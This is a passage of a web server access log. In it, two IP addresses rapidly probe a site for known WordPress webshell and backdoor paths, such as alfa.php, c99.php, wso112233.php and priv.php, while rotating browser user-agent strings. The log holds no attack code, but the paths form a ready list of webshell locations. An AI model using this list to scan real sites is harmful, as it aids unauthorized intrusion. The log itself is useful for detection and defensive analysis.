x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:04 -0400] "GET /wp-includes/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:04 -0400] "GET /wp-content/plugins/eventon-addon/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:04 -0400] "GET /wp-includes/css/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:04 -0400] "GET /wp-p.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:22:04 -0400] "GET /wp-admin/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:04 -0400] "GET /images/g3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:04 -0400] "GET /wp-content/uploads/2022/bidlbdgp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:04 -0400] "GET /wp-content/plugins/royal-ckeditor/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:04 -0400] "GET /wp-includes/css/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:22:04 -0400] "GET /wp-admin/includes/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:04 -0400] "GET /wp-admin/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:04 -0400] "GET /images/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:22:04 -0400] "GET /wp-content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:04 -0400] "GET /wp-includes/miso-bold.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:04 -0400] "GET /css/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:04 -0400] "GET /fwe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:04 -0400] "GET /wp-admin/network/word.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:04 -0400] "GET /.well-known/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:22:04 -0400] "GET /wp-includes/IXR/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:04 -0400] "GET /components/lig.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:22:04 -0400] "GET /wp-includes/compats.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:04 -0400] "GET /wp-content/11.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:04 -0400] "GET /.well-known/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:04 -0400] "GET /wp-admin/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:04 -0400] "GET /ALFA_DATA/alfacgiapi/all.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:04 -0400] "GET /extracte_wordprees/dirfunc/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:04 -0400] "GET /wp-content/updates.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:04 -0400] "GET /wp-admin/network/wp-xZ2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:04 -0400] "GET /.well-known/profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:04 -0400] "GET /wp-content/themes/astra/inc/ki1k.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:04 -0400] "GET /.well-known/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:04 -0400] "GET /wp-admin/css/colors/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:04 -0400] "GET /wp-content/uploads/wpr-addons/forms/b1ack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:04 -0400] "GET /wp-admih.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:04 -0400] "GET /wp-admin/css/go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:05 -0400] "GET /.well-known/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.85 - - [23/Apr/2025:03:22:05 -0400] "GET /wp-admin/maint/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:05 -0400] "GET /.well-known/pki-validation/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:05 -0400] "GET /wp-includes/js/plupload/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:05 -0400] "GET /cgi-bin/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:05 -0400] "GET /images/exif.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:22:05 -0400] "GET /wp-content/plugins/shell/noimg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:05 -0400] "GET /wp-admin/js/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:05 -0400] "GET /wp-content/plugins/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:05 -0400] "GET /wp-uploads-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:05 -0400] "GET /wp-content/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:22:05 -0400] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:05 -0400] "GET /images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:05 -0400] "GET /land.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:05 -0400] "GET /wp-admin/maint/Ysuyo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.85 - - [23/Apr/2025:03:22:05 -0400] "GET /.tmb/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:05 -0400] "GET /wp-admin/includes/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:05 -0400] "GET /.tmb/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:22:05 -0400] "GET /network.php4 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:05 -0400] "GET /wp-includes/email.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:22:05 -0400] "GET /hobi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:05 -0400] "GET /.well-known/alfanew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:05 -0400] "GET /wp-includes/css/dist/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:05 -0400] "GET /cgi-bin/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:22:05 -0400] "GET /images/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:05 -0400] "GET /uploads/phpimage.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:05 -0400] "GET /wp-admin/network/class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:05 -0400] "GET /wp-content/plugins/Core-Econ/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:05 -0400] "GET /wp-includes/css/dist/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:05 -0400] "GET /wp-admin/css/colors/coffee/lofter.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:05 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:22:05 -0400] "GET /.well-known/pki-validation/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:05 -0400] "GET /wp-content/uploads/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:05 -0400] "GET /wp-includes/css/kses.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:05 -0400] "GET /x7.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:22:05 -0400] "GET /wp-includes/Requests/Auth/images.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:05 -0400] "GET /wp-includes/css/dist/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:05 -0400] "GET /edit-comments.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:06 -0400] "GET /delpaths.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:06 -0400] "GET /.well-known/acme-challenge/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:06 -0400] "GET /wp-includes/carson.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:22:06 -0400] "GET /wp-admin/network/abuot.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:22:06 -0400] "GET /wp-content/themes/seotheme/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:06 -0400] "GET /export.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:06 -0400] "GET /wp-content/uploads/2024/11/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:06 -0400] "GET /wp-admin/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:06 -0400] "GET /wp-includes/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:06 -0400] "GET /images/c99.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:22:06 -0400] "GET /.well-known/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.85 - - [23/Apr/2025:03:22:06 -0400] "GET /.tmb/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:22:06 -0400] "GET /input.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:06 -0400] "GET /wp-content/uploads/2024/10/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:06 -0400] "GET /wp-content/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:06 -0400] "GET /wp-admin/css/colors/coffee/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:06 -0400] "GET /load-scripts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:06 -0400] "GET /wp-includes/theme-compat/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:06 -0400] "GET /wp-admin/maint/bak.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:22:06 -0400] "GET /FoxWSOv1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:22:06 -0400] "GET /wp-content/upgrade/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:06 -0400] "GET /wp-content/uploads/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:06 -0400] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:06 -0400] "GET /load-styles.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:06 -0400] "GET /wp-admin/css/sidebarg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:22:06 -0400] "GET /wp-admin/network/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:22:06 -0400] "GET /wp-admin/includes/cicak.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:22:06 -0400] "GET /Patrick.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:22:06 -0400] "GET /wp-content/themes/freeyanz/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:06 -0400] "GET /cgi-bin/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:06 -0400] "GET /images/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:06 -0400] "GET /wp-admin/includes/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:22:06 -0400] "GET /modules/karakaroa/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:22:06 -0400] "GET /wp-content/themes/erapress/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:06 -0400] "GET /options-discussion.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:07 -0400] "GET /wp-admin/js/widgets/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:22:07 -0400] "GET /wp-includes/block-supports/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:07 -0400] "GET /images/contact_en.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:22:07 -0400] "GET /wp-admin/maint/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:07 -0400] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 